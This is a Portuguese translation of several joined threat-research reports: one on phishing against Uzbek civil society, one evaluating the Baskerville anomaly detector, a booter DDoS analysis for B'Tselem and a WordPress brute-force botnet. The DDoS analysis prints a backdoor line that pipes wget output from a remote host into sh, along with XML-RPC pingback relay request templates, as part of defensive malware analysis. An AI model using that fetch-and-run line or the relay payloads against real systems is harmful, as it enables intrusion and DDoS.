Como provedores de infraestrutura, compreendemos a dificuldade de lidar com solicitações relacionadas a abusos. Para muitos provedores de hospedagem, o número de solicitações é o que determina se um caso é urgente ou não. Incentivamos os provedores de hospedagem a se envolverem mais com organizações que trabalham para proteger a sociedade civil e a estabelecerem relações de confiança que ajudem a mitigar rapidamente os efeitos de campanhas maliciosas.
Neste relatório, documentamos uma campanha prolongada de ataques de phishing e na web voltada para a mídia que cobre o Uzbequistão e ativistas de direitos humanos uzbeques. Isso demonstra, mais uma vez, que os ataques digitais representam uma ameaça para os ativistas de direitos humanos e para a mídia independente. Existem vários agentes maliciosos conhecidos por utilizarem uma combinação de ataques de phishing e à web (como o grupo Ocean Lotus, ligado ao Vietnã), mas esta campanha revela uma estratégia dupla que tem como alvo, simultaneamente, sites da sociedade civil e seus editores.
Não temos evidências de envolvimento do governo nessa operação, mas esses ataques têm claramente como alvo vozes proeminentes da sociedade civil uzbeque. Eles também apresentam fortes semelhanças com o ataque cibernético ao site Uznews.net em 2014, quando a caixa de e-mail da editora foi comprometida por meio de um e-mail de phishing que se passava por um aviso do Google, alertando-a de que a conta havia se envolvido na distribuição de pornografia ilegal.
Nos últimos 10 anos, várias organizações, como o Citizen Lab ou a Anistia Internacional, dedicaram muito tempo e esforço para documentar a vigilância digital e os ataques direcionados contra a sociedade civil. Esperamos que este relatório contribua para esses esforços e mostre que, hoje, mais do que nunca, precisamos continuar apoiando a sociedade civil contra a vigilância digital e a intrusão.
Se você acha que está sendo alvo de campanhas semelhantes, aqui está uma lista de recomendações para se proteger.
Para se proteger contra ataques de phishing, é importante aprender a reconhecer e-mails clássicos de phishing. Apresentamos alguns exemplos neste relatório, mas você pode ler outros relatórios semelhantes do Citizen Lab. Você também pode ler esta boa explicação da NetAlert e praticar com este quiz do Google Jigsaw. O segundo ponto importante é certificar-se de que você configurou a autenticação de dois fatores em suas contas de e-mail e redes sociais. A autenticação de dois fatores significa usar uma segunda forma de autenticação ao fazer login, além da sua senha. Fatores secundários comuns incluem mensagens de texto, aplicativos de senhas temporárias ou tokens de hardware. Recomendamos o uso de aplicativos de senhas temporárias (como o Google Authenticator ou o FreeOTP) ou chaves de hardware (como as YubiKeys). As chaves de hardware são conhecidas por serem mais seguras e são fortemente recomendadas se você for um ativista ou jornalista em situação de risco.
Contra ataques à web, se você estiver usando um CMS como o WordPress ou o Drupal, é muito importante atualizar tanto o CMS quanto seus plugins com muita regularidade e evitar o uso de plugins sem manutenção (é muito comum que sites sejam comprometidos devido a plugins desatualizados). Os sites da sociedade civil podem se inscrever no Deflect para obter proteção gratuita.
Gostaríamos de agradecer à Front Line Defenders e à Scaleway pela ajuda. Também gostaríamos de agradecer à ipinfo.io e à RiskIQ pelas ferramentas que nos ajudaram na investigação.
Domínios de nível superior:
email-service.host email-session.host support-email.site support-email.host email-support.host myconnection.website ecoit.email my-cabinet.com my-id.top msoffice365-online.org secretonline.top m-youtube.top auth-mail.com mail-help-support.info mail-support.info auth-mail.me auth-login.com email-x.com auth-mail.ru mail-auth.top msoffice365.win bit-ly.host m-youtube.org vzlom.top pochta.top fixerman.top
Você pode encontrar uma lista completa de indicadores no GitHub: https://github.com/equalitie/deflect_labs_6_indicators
A plataforma Deflect é um serviço gratuito de segurança de sites que protege a sociedade civil e grupos de direitos humanos contra ataques digitais. Atualmente, o tráfego malicioso é identificado na rede Deflect pelo Banjax, um sistema que utiliza regras definidas manualmente para sinalizar endereços IP que se comportam como bots de ataque, de modo que possam ser bloqueados ou banidos. Embora o Banjax seja eficaz na identificação dos ataques cibernéticos de força bruta mais comuns, a abordagem de usar um conjunto estático de regras para proteger contra as ferramentas em constante evolução disponíveis aos invasores é fundamentalmente limitada. Ao longo do último ano, a equipedo Deflect Labs vem trabalhando no desenvolvimento de um módulo de aprendizado de máquina para identificar automaticamente o tráfego malicioso na plataforma Deflect, de modo que nossos esforços de mitigação possam acompanhar os métodos de ataque à medida que estes se tornam mais complexos e sofisticados.
Neste relatório, analisamos o desempenho da nova ferramenta de detecção de anomalias da Deflect Labs, o Baskerville, na identificação de uma seleção dos ataques observados na plataforma Deflect durante o último ano. O Baskerville foi projetado para processar lotes de logs da web recebidos (seja em tempo real a partir de um fluxo do Kafka, seja do armazenamento do Elasticsearch ), agrupá-los em conjuntos de solicitações por site hospedeiro e endereço IP, extrair as características de navegação de cada conjunto de solicitações e fazer uma previsão sobre se o comportamento é normal ou não. Em sua essência, o Baskerville utiliza atualmente a implementação do Scikit-Learn do algoritmo de detecção de anomalias Isolation Forest para realizar essa classificação, embora o mecanismo seja independente da escolha do algoritmo e qualquer classificador treinado do Scikit-Learn possa ser utilizado em seu lugar. Esse modelo é treinado com dados de tráfego normal da web provenientes da plataforma Deflect e avaliado por meio de um conjunto de ferramentas offline incorporadas ao módulo Baskerville. O Baskerville foi projetado de forma que, assim que o desempenho do modelo for suficientemente robusto, ele possa ser utilizado para alertas e mitigação de ataques em tempo real na plataforma Deflect.
Para demonstrar os recursos atuais do módulo Baskerville, reproduzimos os ataques abordados no relatório de 2018 do Deflect Labs: “Ataques contra a sociedade civil vietnamita”, submetendo os registros da web desses incidentes ao mecanismo de processamento e previsão. Esse relatório foi escolhido para reprodução devido à variedade de ataques observados nos incidentes que o compõem. Houve um total de oito ataques considerados neste relatório, detalhados na tabela abaixo.
| Data | Início (aprox.) | Término (aprox.) | Alvo |
| 17/04/2018 | 08h00 | 10h | viettan.org |
| 17/04/2018 | 08h00 | 10h | baotiengdan.com |
| 04/05/2018 | 00:00 | 23:59 | viettan.org |
| 09/05/2018 | 10h00 | 12h30 | viettan.org |
| 09/05/2018 | 08h00 | 12h | baotiengdan.com |
| 07/06/2018 | 01:00 | 05:00 | baotiengdan.com |
| 13/06/2018 | 03:00 | 08:00 | baotiengdan.com |
| 15/06/2018 | 13h | 23:30 |
baotiengdan.com |
Tabela 1: Períodos de ataque abrangidos neste relatório. O período de cada ataque foi determinado com base no número de registros do Deflect e do Banjax registrados para cada site, em relação ao volume normal de tráfego.
Considerando uma única solicitação proveniente de um endereço IP, não é possível determinar com precisão se esse usuário está agindo de forma suspeita e, portanto, qual é a probabilidade de se tratar de um bot malicioso, em vez de um usuário legítimo. Se, em vez disso, agruparmos todas as solicitações feitas a um site por um único endereço IP ao longo do tempo, podemos começar a construir um panorama mais completo do comportamento de navegação do usuário . Podemos então treinar um algoritmo de detecção de anomalias para identificar quaisquer endereços IP que estejam se comportando fora do escopo do tráfego normal.
Os gráficos de caixa abaixo ilustram como o comportamento durante os períodos de ataque no Vietnã difere daquele observado durante uma quinzena média de solicitações aos mesmos sites. Para descrever o comportamento de navegação, 17 características (detalhadas na documentação do Baskerville) foram extraídas com base nos conjuntos de solicitações (observe que os valores das características são escalonados em relação às distribuições médias e não têm uma interpretação física). Em particular, pode-se observar que esses períodos de ataque se destacam por apresentarem um número muito menor de caminhos únicos solicitados (unique_path_to_request_ratio), uma profundidade média de caminho mais curta (path_depth_average), uma menor variância na profundidade dos caminhos solicitados (path_depth_variance) e um tamanho de carga útil menor (payload_size_log_average). Por “profundidade do caminho”, entendemos o número de barras na URL solicitada (portanto, “website.com” tem profundidade de caminho igual a zero, e “website.com/page1/page2” tem profundidade de caminho igual a dois); e por “tamanho da carga útil”, entendemos o tamanho da resposta à solicitação em bytes.
Figura 1: As distribuições dos 17 valores de características normalizadas durante os períodos de ataque (vermelho) e os períodos sem ataque (azul). É possível observar que as distribuições das características são notavelmente diferentes durante os períodos de ataque e sem ataque.
A separação entre os conjuntos de solicitações de ataque e de não ataque pode ser bem visualizada por meio da projeção ao longo das dimensões das características identificadas acima. No espaço tridimensional definido pela profundidade média do caminho, pelo logaritmo médio do tamanho da carga útil e pela razão entre caminhos únicos e solicitações, os conjuntos de solicitações identificados como maliciosos pelo Banjax (vermelho) estão claramente separados daqueles não identificados como maliciosos (azul).
Figura 2: A distribuição dos conjuntos de solicitações ao longo de três das 17 dimensões de características para IPs identificados como maliciosos (vermelho) ou benignos (azul) pelo módulo de bloqueio existente, o Banjax. As características mostradas são a profundidade média do caminho, o logaritmo médio do tamanho da carga útil da solicitação e a proporção de caminhos únicos em relação ao total de solicitações, durante cada conjunto de solicitações. A separação entre os IPs maliciosos (vermelho) e benignos (azul) é evidente ao longo dessas dimensões.
Um classificador de aprendizado de máquina nos permite definir com mais precisão as diferenças entre comportamentos normais e anormais, além de prever a probabilidade de que um novo conjunto de solicitações provenha de um usuário genuíno. Para este relatório, optamos por treinar uma Isolation Forest; um algoritmo que apresenta bom desempenho em problemas de detecção de novidades e é escalável para grandes conjuntos de dados.
Como algoritmo de detecção de anomalias, a Floresta de Isolamento utilizou como dados de treinamento todo o tráfego direcionado aos sites vietnamitas durante um período normal de duas semanas. Para avaliar seu desempenho, criamos um conjunto de dados de teste separando uma seleção desses dados (que se supõe representar tráfego benigno) e combinando-a com o conjunto de todas as solicitações provenientes de IPs sinalizados pela ferramenta de bloqueio atual da plataforma Deflect, o Banjax (que se supõe representar tráfego malicioso). Há vários parâmetros ajustáveis no algoritmo da Isolation Forest, como o número de árvores na floresta e o nível de contaminação por anomalias nos dados de treinamento. Usando os dados de teste, realizamos uma busca em grade sobre esses parâmetros para otimizar a precisão do modelo.
O modelo escolhido para uso neste relatório apresenta uma precisão de 0,90, um recall de 0,86 e um f1-score resultante de 0,88, quando avaliado no conjunto de dados de teste formulado a partir do tráfego do site vietnamita, descrito acima. Se considerarmos os bloqueios do Banjax como verdade absoluta (o que quase certamente não é o caso), isso significa que 90% dos IPs previstos como anômalos pelo Baskerville também foram sinalizados pelo Banjax como maliciosos, e que 88% de todos os IPs sinalizados pelo Banjax como maliciosos também foram identificados como anômalos pelo Baskerville, em todos os ataques considerados no relatório vietnamita. Isso é demonstrado visualmente no gráfico abaixo, que mostra a sobreposição entre a sinalização do Banjax e a previsão do Baskerville (-1 indica malicioso e +1 indica benigno). Pode-se observar que o Baskerville identifica quase todos os IPs detectados pelo Banjax e, além disso, sinaliza uma fração dos IPs não banidos pelo Banjax.
Figura 3: A sobreposição entre os resultados do Banjax (eixo x) e os resultados da previsão do Baskerville (coloração). Quando a sinalização do Banjax é -1 e a cor da previsão é vermelha, tanto o Banjax quanto o Baskerville concordam que o conjunto de solicitações é malicioso. Quando o sinalizador do Banjax é +1 e a cor da previsão é azul, ambos os módulos concordam que o conjunto de solicitações é benigno. A pequena fatia azul, em que o sinalizador do Banjax é -1, e a fatia vermelha maior, em que o sinalizador do Banjax é +1, indicam conjuntos de solicitações sobre os quais os módulos não concordam.
O desempenho do modelo pode ser detalhado pelos diferentes períodos de ataque. O gráfico de barras agrupadas abaixo compara o número de bloqueios do Banjax (vermelho) com o número de anomalias do Baskerville (verde). Em geral, o Baskerville identifica um número muito maior de conjuntos de solicitações como maliciosos do que o Banjax, com exceção do ataque de 17 de abril, no qual o Banjax detectou um número ligeiramente maior de IPs do que o Baskerville. A diferença entre os dois sistemas de mitigação é particularmente pronunciada nos ataques de 13 e 15 de junho, nos quais o Banjax praticamente não identificou nenhum IP malicioso, enquanto o Baskerville identificou uma alta proporção de IPs maliciosos.
Figura 4: Os veredictos do Banjax (colunas à esquerda) e do Baskerville (colunas à direita) nos seis períodos de ataque. Os componentes em vermelho/verde mostram o número de conjuntos de solicitações que o Banjax/Baskerville classificaram como maliciosos, enquanto os componentes em azul/roxo mostram o número que eles classificaram como benignos. O fato de as barras verdes serem, em quase todos os casos, mais altas do que as barras vermelhas indica que o Baskerville identifica mais tráfego como malicioso do que o Banjax.
Essa análise destaca a questão da validação do modelo. Percebe-se que o Baskerville identifica mais conjuntos de solicitações como maliciosos do que o Banjax, mas isso indica que o Baskerville é sensível demais a comportamentos anômalos ou que o Baskerville está apresentando melhor desempenho do que o Banjax? Para ter certeza e avaliar adequadamente o desempenho do Baskerville, é necessário um grande conjunto de teste com dados rotulados.
Se analisarmos os valores médios das características nos diferentes ataques, percebe-se que os ataques de 13 e 15 de junho (os pontos vermelhos e azuis, respectivamente, na figura abaixo) se destacam do tráfego normal por apresentarem uma profundidade média de caminho (path_depth_average)muito inferior ao normal, e uma taxa de respostas com código 400 (response4xx_to_request_ratio) muito mais alta do que o normal, o que pode ter contribuído para que o Baskerville identificasse uma grande proporção de seus conjuntos de solicitações como maliciosos. Como uma baixa profundidade média do caminho (por exemplo, muitas solicitações feitas para ‘/’) e uma alta taxa de código de resposta 400 (por exemplo, muitas solicitações para páginas inexistentes) são indicativas de um IP se comportando de forma maliciosa, isso pode sugerir que as previsões do Baskerville foram válidas nesses casos. No entanto, são necessários mais dados rotulados para que possamos ter certeza sobre essa avaliação.
Figura 5: Distribuição dos valores médios das características durante os dois períodos de ataque (vermelho, azul) nos quais o Baskerville identificou uma alta proporção de IPs maliciosos, mas o Banjax não. Esses valores são comparados aos valores médios das características durante um período normal de duas semanas (verde).
A reprodução dos ataques vietnamitas demonstra que é possível ao mecanismo Baskerville identificar ataques cibernéticos na plataforma Deflect em tempo real. Enquanto o Banjax mitiga ataques usando um conjunto de regras estáticas escritas por humanos que descrevem como é o tráfego anormal, ao descrever de forma abrangente como o tráfegonormal se comporta, o classificador Baskerville é capaz de identificar novos tipos de comportamento malicioso nunca antes observados.
Embora o desempenho da Isolation Forest na identificação dos ataques vietnamitas seja promissor, precisaríamos de um nível mais alto de precisão antes que o mecanismo Baskerville seja usado para bloquear automaticamente o acesso de IPs aos sites do Deflect. A precisão do modelo pode ser aprimorada aumentando a quantidade de dados com os quais ele é treinado e realizando engenharia de recursos e ajuste de parâmetros adicionais. No entanto, para avaliar com precisão sua capacidade, precisamos de um grande conjunto de dados de teste rotulados, mais completo do que o oferecido pelos logs do Banjax. Para isso, propomos primeiro implantar o Baskerville em uma fase de desenvolvimento, durante a qual os endereços IP suspeitos de serem maliciosos receberão um desafio de Captcha, em vez de serem banidos de forma definitiva. Os resultados desses desafios podem ser adicionados ao corpus de dados rotulados, fornecendo feedback sobre o desempenho do Baskerville.
Além das aplicações do Baskerville para mitigação de ataques na plataforma Deflect, ao agrupar os logs recebidos por host e IP em conjuntos de solicitações e extrair características desses conjuntos, criamos uma nova maneira de visualizar e analisar os ataques após sua ocorrência. Podemos comparar ataques não apenas pelos endereços IP envolvidos, mas também pelo tipo de comportamento exibido. Isso abre novas possibilidades para conectar ataques díspares e investigar os agentes por trás deles.
O futuro proposto para o monitoramento do Deflect é o Centro de Compartilhamento e Análise de Informações do Deflect Labs (DL-ISAC). A ideia subjacente a este projeto, resumida no esquema abaixo, é dividir o mecanismo Baskerville em componentes separados: o Módulo de Usuário e o Clearinghouse (responsáveis pelo processamento de logs e pelo desenvolvimento de modelos, respectivamente), para permitir uma separação completa dos dados pessoais da modelagem centralizada. Os usuários processariam seus próprios logs da web localmente e enviariam vetores de características (sem detalhes de IP e do site hospedeiro) para receber uma previsão. Isso permite o compartilhamento de ameaças sem comprometer informações de identificação pessoal (PII). Além disso, essa separação permitiria a adoção do DL-ISAC por uma gama muito mais ampla de clientes do que os sites hospedados pelo Deflect atualmente atendidos. Aumentar a base de usuários desse software também aumentará a quantidade de dados de navegação que podemos coletar e, consequentemente, a robustez dos modelos que podemos treinar.
O Baskerville é um projeto de código aberto, com seu primeiro lançamento previsto para o próximo trimestre. Esperamos que isso represente o primeiro passo para possibilitar uma nova era de compartilhamento e mitigação de informações sobre ameaças por meio de crowdsourcing, capacitando os usuários da internet a manter seu conteúdo online em um ambiente da web cada vez mais hostil.
Figura 6: Um esquema da estrutura proposta para o DL-ISAC. A infraestrutura é dividida em um terminal de usuário para processamento de logs e um centro de coordenação para previsão, análise e desenvolvimento de modelos.
Em todas as aplicações de aprendizado de máquina e IA, é importante considerar as fontes de viés algorítmico e como usuários marginalizados podem ser discriminados involuntariamente pelo sistema. No contexto do tráfego da web, devemos levar em conta as variações no comportamento de navegação entre diferentes subgrupos de usuários válidos da internet (que não sejam bots) e garantir que o Baskerville não penalize populações sub-representadas. Por exemplo, devem ser implementadas medidas para evitar que usuários desfavorecidos, com conexões de internet mais lentas, sejam banidos porque seu comportamento de solicitação difere daquele dos usuários que se beneficiam de internet de alta velocidade. A equipe da Deflect Labs está comprometida em priorizar essas considerações no desenvolvimento futuro do DL-ISAC.
Em 2 de novembro de 2018, identificamos um ataque DDoS contra o site www.btselem.org, protegido pelo Deflect. A B’Tselem é uma organização israelense sem fins lucrativos que luta para pôr fim à ocupação israelense dos territórios palestinos. A B’Tselem já foi alvo de ataques DDoS várias vezes no passado, inclusive em 2013 e 2014, e também quando utilizava a proteção do Deflect em 2016. A organização vem enfrentando pressão do governo israelense há anos, bem como de setores da população israelense.
O ataque de 2 de novembro foi orquestrado a partir de uma infraestrutura do tipo “booter”. Um “booter” (também conhecido como DDoSer ou Stresser) é um serviço de DDoS por encomenda, com preços a partir de apenas 15 dólares por mês. Alguns serviços podem suportar um número enorme de ataques DDoS, como o booter vDoS (desativado em agosto de 2017 pela polícia israelense), que realizou mais de 150 mil ataques DDoS e arrecadou mais de US$ 600 mil ao longo de dois anos de atividade. Atualmente, a ameaça é levada a sério pela polícia em muitos países, o que levou ao desmantelamento de vários serviços do tipo “booter”.
Este ataque é um dos dezessete que identificamos direcionados ao site da B’Tselem em 2018. A maioria dos ataques à web utilizava ferramentas padrão de auditoria de segurança, como Nikto, SQLMap ou DirBuster, lançadas a partir de diferentes endereços IP em Israel. Todos os ataques DDoS descobertos utilizavam botnets para amplificar a carga de tráfego. O ataque investigado neste relatório é o primeiro exemplo de um ataque pingback no WordPress contra o site btselem.org em 2018.
Neste artigo, analisamos o ataque, incluindo as ferramentas e os métodos utilizados pelo autor do ataque.
Em 2 de novembro, entre meia-noite e 1h UTC, identificamos um pico incomum de tráfego para www.btselem.org. Um grande número de solicitações não apresentava nenhuma string de user-agent ou utilizava um user-agent indicando uma solicitação de pingback do WordPress (como WordPress/4.8.7; [REDACTED]; verificando pingback de 174.138.13.37). Confirmamos que esse tráfego faz parte de uma tentativa de DDoS utilizando diferentes tipos de relés. Já documentamos ataques de pingback várias vezes no passado e explicamos o que são no terceiro relatório da Deflect Labs.
O site btselem.org recebeu 341.435 solicitações para / durante esse período, incluindo 272.624 solicitações sem user-agent, 65.887 solicitações com UA Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 e 2.368 solicitações com diferentes user-agents do WordPress.
Um aspecto interessante desse tráfego é que ele tinha como alvo o domínio btselem.org. Esse domínio está configurado para redirecionar para https://www.btselem.org por meio de um código HTTP de redirecionamento 301, mas apenas uma pequena parte do tráfego realmente seguiu o redirecionamento e acessou o site www final. Recebemos 272.636 solicitações sem agente de usuário no btselem.org durante o ataque, e apenas 34.035 no www.btselem.org.
Os ataques de pingback do WordPress existem desde 2014 e já tivemos que lidar com vários deles anteriormente.
A ideia é abusar do recurso de pingback do WordPress, que foi criado para notificar sites quando são mencionados ou vinculados por outro site. A publicação de origem entra em contato com o site do WordPress para o qual o link foi feito, informando a URL da fonte. O site para o qual o link foi feito então responde para confirmar o recebimento. Ao enviar a solicitação inicial de pingback com o site de destino como fonte, é possível abusar desse recurso e usar o site do WordPress como um relé para um ataque DDoS. Para combater essa ameaça, muitos provedores de hospedagem desativaram os pingbacks de forma geral, e a equipe do WordPress implementou uma atualização para adicionar o endereço IP de origem da solicitação no campo User-Agent a partir da versão 3.9. Um ataque usando o site www.example.com como retransmissor apresentaria user-agents como WordPress/3.5.1; http://www.example.com antes da versão 3.9, e WordPress/3.9.16; http://www.example.com; verificando o pingback proveniente de ORIGIN_IP depois. Infelizmente, muitos sites do WordPress não estão atualizados e ainda podem ser usados como retransmissores sem exibir o endereço IP de origem.
Ao analisar os user-agents do WordPress durante o ataque, é fácil identificar os sites usados como retransmissores:
Os user-agents dos sites do WordPress com versão superior à 3.9 revelam os IPs na origem do ataque: WordPress/4.1.24; http://[REDACTED]; verificando pingback de 178.128.244.42.
Identificamos 10 IPs como a origem desses ataques, todos hospedados em servidores da Digital Ocean, o que revela a infraestrutura real do booter. Descrevemos a seguir a infraestrutura identificada e as medidas que tomamos para desativá-la.
A outra parte do ataque DDoS consiste em um grande número de solicitações para / sem nenhuma string de consulta, também sem user-agent (272.624 solicitações) ou com o user-agent Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 (65.887 solicitações).
Ao analisar amostras desses IPs, identificamos muitos deles como proxies abertos. Por exemplo, recebemos 159 solicitações do IP 213.200.56[.]86, conhecido como um proxy aberto por vários bancos de dados de proxies abertos. Verificamos o cabeçalho X-Forwarded-For, que é definido por alguns proxies para identificar o IP de origem que está fazendo a solicitação, e identificamos novamente a mesma lista de 10 IPs da Digital Ocean na origem do ataque.
Por fim, uma pequena parte dessas solicitações permaneceu de origens desconhecidas até descobrirmos a lista de retransmissão do Joomla nos servidores booter (veja a seguir). Um plugin comum do Joomla chamado Google Maps2 possui uma vulnerabilidade divulgada desde 2013 que permite seu uso como retransmissor. Ele já foi usado várias vezes para ataques DDoS, especialmente por volta de 2014. É surpreendente ver uma vulnerabilidade tão antiga sendo utilizada, mas identificamos apenas 2.678 solicitações, o que mostra que esse ataque não é muito eficaz em 2018, provavelmente devido ao pequeno número de sites que ainda estão vulneráveis.
Conforme descrito anteriormente, a análise dos user-agents do PingBack do WordPress e do cabeçalho X-Forwarded-For dos proxies nos forneceu a seguinte lista de endereços IP, todos hospedados na Digital Ocean:
Esses 10 servidores estavam executando um servidor HTTP Apache na porta 80 com um arquivo de índice aberto exibindo uma lista de ferramentas utilizadas pelos booters para ataques DDoS:
Esse diretório aberto nos permitiu baixar a maioria das ferramentas e a lista de relés utilizados pelos booters.
Conseguimos baixar a maioria das ferramentas utilizadas pelo booter, com exceção dos arquivos de código PHP (os arquivos executados quando a URL é solicitada). De modo geral, podemos observar três tipos de arquivos hospedados no booter:
api.php e sockhit.phphttp.js ou joomlajoomla.txt,path.txt,perfect.txt,socks.txte xmlrpc.txtNão conseguimos baixar esses arquivos PHP (sockhit.php e api.php), mas pudemos deduzir rapidamente que eles eram usados para comandar remotamente o servidor booter a partir da interface, a fim de lançar ataques.
l@tp $ curl http://178.128.244.42/sockhit.php Criado por Routers.Rip Uso: php [URL] [THREADS] [SECONDS] [CLIENTS_NUMBER] [SOCKS_FILE] Exemplo: php http://Routers.Rip/ 800 60 20 proxies.txt l@tp $ curl http://178.128.244.42/api.php Parâmetros ausentes!%
Um detalhe interessante a ser observado é que o arquivo sockhit.php não parece exigir autenticação, o que significa que a infraestrutura poderia ter sido utilizada por outras pessoas sem o conhecimento dos proprietários. Acreditamos que esses arquivos PHP não estejam lançando os ataques diretamente, mas sim utilizando as diversas ferramentas implantadas no servidor para fazê-lo.
As seguintes ferramentas foram encontradas no servidor:
Fizemos a análise reversa tanto do arquivo xmlrpc quanto do joomla e descobrimos que o binário do joomla, na verdade, contém um backdoor. O arquivo contém o executável legítimo do Joomla a partir do byte 0x2F29; ao ser executado, o programa legítimo é copiado para um arquivo temporário (criado com o comando `tmpnam`), e em seguida um crontab é adicionado ao abrir o arquivo `/etc/cron.hourly/0 e adicionando a linha wget hxxp://r1p[.]pw/0 -O- 2>/dev/null| sh>dev/null 2>&1. O backdoor então se abre e verifica se já contém a string h3dNRL4dviIXqlSpCCaz0H5iyxM= contida no próprio backdoor. Caso não contenha a string, ele insere o backdoor no arquivo. Por fim, ele executa o programa legítimo com os mesmos argumentos.
A carga útil final (5068eacfd7ac9aba6c234dce734d8901) recebe como argumentos (alvo) (lista) (hora) (threads); em seguida, lê o arquivo de lista para obter a lista de sites Joomla e faz a consulta por meio de um socket bruto com a seguinte solicitação HTTP:
HEAD /%s%s HTTP/1.1 Host: %s User-agent: Mozilla/5.0 Connection: close
O binário xmlrpc (480e528c9991e08800109fa6627c2227) funciona da mesma maneira (e não contém backdoor): Ao executá-lo, o usuário precisa fornecer um site de destino, juntamente com uma lista de sites do WordPress em um arquivo, um número de segundos para o ataque e um número de threads ({alvo} {arquivo} {segundos} {threads}). A ferramenta então percorre a lista de sites do WordPress em múltiplas threads durante o tempo especificado, realizando as seguintes solicitações ao site:
POST /%s HTTP/1.0 Host: %s Content-type: text/xml Content-length: %i User-agent: Mozilla/4.0 (compatível com: MSIE 7.0; Windows NT 6.0) Connection: close <methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>
Os arquivos https.js e jsb.js são ferramentas em JavaScript derivadas da ferramenta cloudscaper, que permite contornar o desafio JavaScript anti-DDoS da Cloudflare, resolvendo o desafio no lado do servidor e contornando a proteção. Não sabemos ao certo como isso é utilizado pelo booter.
Este arquivo jsb.js contém a seguinte linha, que provavelmente foi inserida para impedir ataques por meio dessa ferramenta no fórum de hackers turco DarbeTurk, mas foi parcialmente excluída posteriormente:
if (body.indexOf('DARBETURK ONLINE | TURKISH UNDERGROUND WORLD') !== -1) {
//console.log('RIP');
}
A lista a seguir de relés foi utilizada no servidor:
Como mencionado anteriormente, é surpreendente constatar que 1.226 sites Joomla apresentam um plugin do Google Maps vulnerável, considerando que essa vulnerabilidade foi identificada e corrigida em 2014. Consultamos as 1.226 URLs para verificar se a página PHP ainda estava disponível e descobrimos que apenas 131 delas, de um total de 1.226, ainda existem hoje. Isso explica o pequeno número de solicitações identificadas a partir desse tipo de retransmissão no ataque e mostra que as ferramentas e a lista utilizadas estão bastante desatualizadas.
Este booter utiliza três métodos diferentes de DDoS, todos empregando relés distintos:
Os ataques que observamos por parte desse booter não foram muito eficazes e foram automaticamente mitigados pelo Deflect. O arquivo do Joomla com backdoor e a ferramenta JavaScript jsb.js (com uma referência a um fórum de hackers turco) nos levam a acreditar que se trata de um grupo muito amador que reutilizou diversas ferramentas compartilhadas em fóruns de hackers, o que sugere um baixo nível de habilidade técnica.
Alguns dias depois de baixarmos as ferramentas, observamos que a página inicial de todos os servidores mudou para um arquivo HTML muito simples, contendo apenas “kekkkk”; e, embora as ferramentas ainda estivessem disponíveis, não conseguimos visualizar a lista de arquivos nos servidores. Como essa sequência de caracteres é uma assinatura específica, usamos o Censys e o BinaryEdge para rastrear a criação de novos servidores, procurando por IPs que retornassem a mesma sequência específica.
Entre meados de novembro e meados de dezembro, observamos que o booter utilizava tanto o Vultr quanto o Google Cloud Platform. No total, identificamos 65 endereços IP diferentes usados pelos operadores, com um máximo de 17 em um único momento.
Enviamos notificações de abuso a essas empresas; os dois servidores do Google Cloud foram desativados logo após nosso e-mail (não temos informações se isso está relacionado à nossa notificação de abuso ou não). Entramos em contato com a equipe de abuso da Vultr várias vezes, e eles desativaram a infraestrutura do booter em meados de dezembro. Enviamos uma notificação de abuso à Digital Ocean assim que descobrimos o ataque. Vários dias depois, conseguimos entrar em contato com a equipe de resposta a incidentes, que investigou mais a fundo essa infraestrutura. Após discussões com eles, a infraestrutura foi desativada em dezembro, mas o operador rapidamente ativou novos servidores na Digital Ocean, que ainda estão ativos no momento da publicação deste relatório.
Este ataque DDoS foi mitigado automaticamente pelo Deflect e não causou nenhum impacto negativo no site visado.
As pessoas que operam esse booter foram identificadas pela equipe de segurança da Digital Ocean. No entanto, sem uma denúncia oficial e um pedido de ação judicial, o booter continua operando, criando novas infraestruturas para lançar seus ataques.
Os booters já existem há muito tempo e, mesmo que vários grupos tenham sido desmantelados pela polícia (como o infame Webstresser.org), este ataque mostra que a ameaça ainda é real. A análise das ferramentas apresentadas aqui parece indicar que basta ter pouca habilidade para operar um serviço de booter, simplesmente reutilizando ferramentas publicadas em diversos fóruns de hackers. Mesmo assim, um ataque dessa magnitude seria suficiente para derrubar um site de pequeno a médio porte sem proteção adequada contra DDoS.
Ouvimos regularmente sobre ataques DDoS provenientes de booters hospedados em sites de comércio eletrônico ou plataformas de jogos, mas este incidente também é mais um lembrete de que organizações da sociedade civil são vítimas frequentes desses mesmos booters.
Servidores originais utilizados pelo booter (todos com IPs da Digital Ocean):
MD5 dos arquivos disponíveis nos servidores do booter:
Gostaríamos de agradecer às diversas equipes de resposta a incidentes que tiveram que lidar com nossos e-mails constantes, bem como à Censys, ipinfo.io e BinaryEdge por suas ferramentas.
Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0) desde setembro de 2017Em agosto de 2018, identificamos várias tentativas de ataques de força bruta contra sites do WordPress protegidos pelo Deflect. Todos esses ataques utilizavam o mesmo user-agent: Firefox versão 52 no Windows 7 (Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0). Ao rastrear ataques semelhantes com esse user-agent, descobrimos um grande número de endereços IP envolvidos nesses ataques a mais de cem sites protegidos pelo Deflect desde setembro de 2017.
Um exemplo de ataque proveniente dessa botnet pode ser encontrado no tráfego que observamos em um site protegido pelo Deflect no dia 24 de maio, com o agente de usuário `Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0`:
Inicialmente, um endereço IP, 125.65.109.XXX (AS38283 – CHINANET), enumerou a lista de autores do site do WordPress:
Em seguida, foram utilizados 168 endereços IP diferentes para tentar adivinhar a senha por força bruta, por meio de consultas POST à página /wp-login.php:
A extensa lista de alvos da botnet rapidamente nos levou a concluir que não se tratava de uma operação política ou de um ataque direcionado, mas sim de uma tentativa de comprometer qualquer site disponível na Internet. Para confirmar nossa hipótese, decidimos compartilhar indicadores desses ataques com grupos de inteligência de ameaças, bem como com aplataforma GreyNoise, para verificar se os honeypots estavam sendo alvo dos ataques.
